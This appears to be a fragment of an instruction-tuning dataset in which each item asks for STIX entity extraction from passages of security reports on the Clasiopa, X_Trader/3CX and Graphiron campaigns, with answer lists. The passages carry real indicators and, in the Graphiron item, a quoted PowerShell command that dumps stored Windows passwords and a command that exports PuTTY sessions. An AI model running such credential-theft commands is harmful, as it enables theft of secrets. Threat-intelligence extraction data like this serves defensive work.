    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nAttribution\nThere is currently no firm evidence on where Clasiopa is based or what its motivation is. A Hindi mutex is used in the Atharvan backdoor: \"SAPTARISHI-ATHARVAN-101\". Atharvan is a legendary Vedic sage of Hinduism. The backdoor also sends a post request to a C&C server with the arguments:\n* d=%s&code=%d&cid=%s&time=%dtharvan\nIn addition to this, one of the passwords used by the attackers for a ZIP archive was \u201ciloveindea1998_\u201d.\nWhile these details could suggest that the group is based in India, it is also quite likely that the information was planted as false flags, with the password in particular seeming to be an overly obvious clue.\n",
    "output": "<entities>C&C|Clasiopa|Atharvan|India</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n900b63ff9b06e0890bf642bdfcbfcc6ab7887c7a3c057c8e3fd6fba5ffc8e5d6 - Trojanized installer (X_TRADER_r7.17.90p608.exe)\n6e989462acf2321ff671eaf91b4e3933b77dab6ab51cd1403a7fe056bf4763ba \u2013 Possible Trojanized installer\naa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43 - Malicious component of Trojanized installer (setup.exe)\n6e11c02485ddd5a3798bf0f77206f2be37487ba04d3119e2d5ce12501178b378 - Malicious component of Trojanized installer (setup.exe)\n47a8e3b20405a23f7634fa296f148cab39a7f5f84248c6afcfabf5201374d1d1 - Benign Windows executable used for side-loading (tpmvscmgrsvr.exe)\ncc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2 \u2013 Veiledsignal loader (winscard.dll)\n277119738f4bdafa1cde9790ec82ce1e46e04cebf6c43c0e100246f681ba184e \u2013 Veiledsignal loader (devobj.dll)\ncb374af8990c5f47b627596c74e2308fbf39ba33d08d862a2bea46631409539f \u2013 Malicious DLL (msvcr100.dll)\nd937e19ccb3fd1dddeea3eaaf72645e8cd64083228a0df69c60820289b1aa3c0 \u2013 Malicious DLL (msvcr100.dll)\ne185c99b3d1085aed9fda65a9774abd73ecf1229f14591606c6c59e9660c4345 - Veiledsignal main component\n19442d9e476e3ef990ce57b683190301e946ccb28fc88b69ab53a93bf84464ae - Veiledsignal process-injection module\nf8c370c67ffb3a88107c9022b17382b5465c4af3dd453e50e4a0bd3ae9b012ce - Veiledsignal communications module\nhttps://www.tradingtechnologies.com/trading/order-management - Veiledsignal C&C server\n\\\\\\\\.\\pipe\\gecko.nativeMessaging.in.foo8bc16e6288f2a -Veiledsignal named pipe\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.40 - Veiledsignal user agent\n",
    "output": "<entities>Symantec|Windows|C&C|tpmvscmgrsvr.exe|Chrome|https://www.tradingtechnologies.com/trading/order-management|cc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2|www.tradingtechnologies.com|Veiledsignal|msvcr100.dll|aa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43|277119738f4bdafa1cde9790ec82ce1e46e04cebf6c43c0e100246f681ba184e|Windows NT 10.0|f8c370c67ffb3a88107c9022b17382b5465c4af3dd453e50e4a0bd3ae9b012ce|Trojanized installer|d937e19ccb3fd1dddeea3eaaf72645e8cd64083228a0df69c60820289b1aa3c0|6e11c02485ddd5a3798bf0f77206f2be37487ba04d3119e2d5ce12501178b378|winscard.dll|900b63ff9b06e0890bf642bdfcbfcc6ab7887c7a3c057c8e3fd6fba5ffc8e5d6|47a8e3b20405a23f7634fa296f148cab39a7f5f84248c6afcfabf5201374d1d1|cb374af8990c5f47b627596c74e2308fbf39ba33d08d862a2bea46631409539f|6e989462acf2321ff671eaf91b4e3933b77dab6ab51cd1403a7fe056bf4763ba|setup.exe|e185c99b3d1085aed9fda65a9774abd73ecf1229f14591606c6c59e9660c4345|19442d9e476e3ef990ce57b683190301e946ccb28fc88b69ab53a93bf84464ae|devobj.dll</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBackdoor Installation\nOnce installed, the legitimate X_Trader executable side-loads the two malicious DLLs dropped by the installer. The first, winscard.dll, acts as a loader and contains code that will load and execute a payload from the second (msvcr100.dll). The msvcr100.dll file contains an encrypted blob appended to the file. The blob starts with the hex value FEEDFACE, which the loader uses to find the blob.\nThe process for payload installation is almost identical as that seen with the Trojanized 3CX app, where two side-loaded DLLs are used to extract a payload from an encrypted blob.\nIn this attack, the payload extracted is a modular backdoor called Veiledsignal (SHA256: e185c99b3d1085aed9fda65a9774abd73ecf1229f14591606c6c59e9660c4345). Veiledsignal contains another DLL (SHA256: 19442d9e476e3ef990ce57b683190301e946ccb28fc88b69ab53a93bf84464ae), which is a process-injection module. This can be injected into the Chrome, Firefox, or Edge web browsers. The module contains a second DLL (SHA256: f8c370c67ffb3a88107c9022b17382b5465c4af3dd453e50e4a0bd3ae9b012ce), which is a command-and-control (C&C) module. It connects to the following C&C URL:\n* https://www.tradingtechnologies.com/trading/order-management\n",
    "output": "<entities>C&C|Chrome|https://www.tradingtechnologies.com/trading/order-management|www.tradingtechnologies.com|Veiledsignal|msvcr100.dll|Firefox|3CX|f8c370c67ffb3a88107c9022b17382b5465c4af3dd453e50e4a0bd3ae9b012ce|Edge|winscard.dll|e185c99b3d1085aed9fda65a9774abd73ecf1229f14591606c6c59e9660c4345|19442d9e476e3ef990ce57b683190301e946ccb28fc88b69ab53a93bf84464ae</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nHydra-like Campaign\nThe discovery that 3CX was breached by another, earlier supply chain attack made it highly likely that further organizations would be impacted by this campaign, which now transpires to be far more wide-ranging than originally believed. The attackers behind these breaches clearly have a successful template for software supply chain attacks and further, similar attacks cannot be ruled out.\n",
    "output": "<entities>3CX</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nNorth Korean-linked operation affected more organizations beyond 3CX, including two critical infrastructure organizations in the energy sector.\nThe X_Trader software supply chain attack affected more organizations than 3CX. Initial investigation by Symantec\u2019s Threat Hunter Team has, to date, found that among the victims are two critical infrastructure organizations in the energy sector, one in the U.S. and the other in Europe. In addition to this, two other organizations involved in financial trading were also breached.\nAs reported yesterday by Mandiant, Trojanized X_Trader software was the cause of the 3CX breach, which was uncovered last month. As a result of this breach, 3CX\u2019s software was compromised, with many customers inadvertently downloading malicious versions of the company\u2019s voice and video calling software DesktopApp. In addition to wider victims, Symantec has also discovered additional indicators of compromise, listed below.\nIt appears likely that the X_Trader supply chain attack is financially motivated, since Trading Technologies, the developer of X_Trader, facilitates futures trading, including energy futures. Nevertheless, the compromise of critical infrastructure targets is a source of concern. North Korean-sponsored actors are known to engage in both espionage and financially motivated attacks and it cannot be ruled out that strategically important organizations breached during a financial campaign are targeted for further exploitation.\n",
    "output": "<entities>U.S.|Symantec|Threat Hunter Team|North Korea|Europe|Mandiant|3CX</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nX_Trader Supply Chain Attack Affects Critical Infrastructure Organizations in U.S. and Europe\n",
    "output": "<entities>U.S.|Europe</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nMalicious Installer\nThe infection chain starts with the Trojanized installer named X_TRADER_r7.17.90p608.exe (SHA256: 900b63ff9b06e0890bf642bdfcbfcc6ab7887c7a3c057c8e3fd6fba5ffc8e5d6), which is digitally signed by \"Trading Technologies International, Inc.\" and contains a malicious executable named Setup.exe. Our analysis of one version of this executable (SHA256: aa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43) found that when executed, it examined the file named X_TRADER-ja.mst (also contained in the installer) for the following marker bytes at hardcoded offset 0x167000:\n* 5E DA F3 76\nIf the marker bytes are present, it creates a folder named:\n* C:\\Programdata\\TPM\nIt then copies the file C:\\Windows\\Sysnative\\immersivetpmvscmgrsvr.exe as C:\\Programdata\\TPM\\TpmVscMgrSvr.exe to the new folder.\nNext, it will drop two malicious DLLs:\n* C:\\Programdata\\TPM\\winscard.dll (SHA256: cc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2)\n* C:\\Programdata\\TPM\\msvcr100.dll (SHA256: d937e19ccb3fd1dddeea3eaaf72645e8cd64083228a0df69c60820289b1aa3c0)\nThe content of the dropped files is generated by decrypting chunks of the file X_TRADER-ja.mst mentioned earlier using the XOR algorithm with the following key:\n* 74 F2 39 DA E5 CF\nTo achieve persistence on the victim\u2019s system, the malware invokes a CLSID_TaskScheduler COM object, possibly to create a scheduled task to run periodically the following file:\n* C:\\Programdata\\TPM\\TpmVscMgrSvr.exe\nSetup.exe then drops a file named X_TRADER.exe, also contained within the installer. The content of the dropped file is generated by decrypting chunks from one of its own portable executable resources starting at hardcoded offset 0x1CB40 using the XOR algorithm with the following key:\n* 74 F2 39 DA E5 CF\nSetup will then execute X_Trader.exe before deleting itself.\n",
    "output": "<entities>Windows|tpmvscmgrsvr.exe|cc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2|msvcr100.dll|aa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43|Trojanized installer|Trading Technologies International, Inc.|TpmVscMgrSvr.exe|Setup.exe|d937e19ccb3fd1dddeea3eaaf72645e8cd64083228a0df69c60820289b1aa3c0|winscard.dll|900b63ff9b06e0890bf642bdfcbfcc6ab7887c7a3c057c8e3fd6fba5ffc8e5d6|immersivetpmvscmgrsvr.exe</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n**SHA-256:**\n0d0a675516f1ff9247f74df31e90f06b0fea160953e5e3bada5d1c8304cfbe63 \u2014 Downloader.Graphiron\n878450da2e44f5c89ce1af91479b9a9491fe45211fee312354dfe69e967622db \u2014 Downloader.Graphiron\n80e6a9079deffd6837363709f230f6ab3b2fe80af5ad30e46f6470a0c73e75a7 \u2014 Infostealer.Graphiron\neee1d29a425231d981efbc25b6d87fdb9ca9c0e4e3eb393472d5967f7649a1e6 \u2014 Infostealer.Graphiron\nf0fd55b743a2e8f995820884e6e684f1150e7a6369712afe9edb57ffd09ad4c1 \u2014 Infostealer.Graphiron\nf86db0c0880bb81dbfe5ea0b087c2d17fab7b8eefb6841d15916ae9442dd0cce \u2014 Infostealer.Graphiron\n**Network:**\n208.67.104.95 \u2014 C&C server\n",
    "output": "<entities>eee1d29a425231d981efbc25b6d87fdb9ca9c0e4e3eb393472d5967f7649a1e6|Symantec|C&C|208.67.104.95|Graphiron|878450da2e44f5c89ce1af91479b9a9491fe45211fee312354dfe69e967622db|f0fd55b743a2e8f995820884e6e684f1150e7a6369712afe9edb57ffd09ad4c1|0d0a675516f1ff9247f74df31e90f06b0fea160953e5e3bada5d1c8304cfbe63|80e6a9079deffd6837363709f230f6ab3b2fe80af5ad30e46f6470a0c73e75a7|f86db0c0880bb81dbfe5ea0b087c2d17fab7b8eefb6841d15916ae9442dd0cce</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nGraphiron: New Russian Information Stealing Malware Deployed Against Ukraine\nRussia-linked Nodaria group has deployed a new threat designed to steal a wide range of information from infected computers.\nThe Nodaria espionage group (UAC-0056) is using a new piece of information stealing malware against targets in Ukraine. The malware (Infostealer.Graphiron) is written in Go and is designed to harvest a wide range of information from the infected computer, including system information, credentials, screenshots, and files.\nThe earliest evidence of Graphiron dates from October 2022. It continued to be used until at least mid-January 2023 and it is reasonable to assume that it remains part of the Nodaria toolkit.\n",
    "output": "<entities>Nodaria|Russia|Graphiron|Ukraine|UAC-0056</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
    "output": "<entities>PEToolW|Proxifier|Microsoft|idaw|Windows|C&C|x64dbg|tcpvcon|filemon|PowerShell|pestudio|procmon|tcpview|dumpcap|LordPE|ida|RAMMap64|regmon|Graphiron|joeboxserver|BurpSuite|Firefox|vmmat|reconstructor|Charles|MobaXTerm|x96dbg|idag64|NetworkMiner|HookExplorer|HTTPDebuggerSVC|processhacker|WinDump|idag|Fiddler|tshark|WSockExpert|PuTTY|procmon64|procexp64|RAMMap|x32dbg|HTTPDebuggerUI|https://checkip.amazonaws.com|Wireshar|idau|Thunderbird|ImportREC|scylla|DumpIt|mitmdump|rpcapd|idaq64|agent.py|idaq|joeboxcontrol|ResourceHacker|MegaDumper|windbg|idau64|mitmweb|Immunity|smsniff|OfficeTemplate.exe|CFF Explorer|idaw64|checkip.amazonaws.com|BurpSuiteFree|procexp|httpdebugger|reg.exe|dbgview|SysInspector|disassembly|pslist|autoruns|httpsMon|MicrosoftOfficeDashboard.exe|reshacker|ollydbg</entities>"
  },
  {
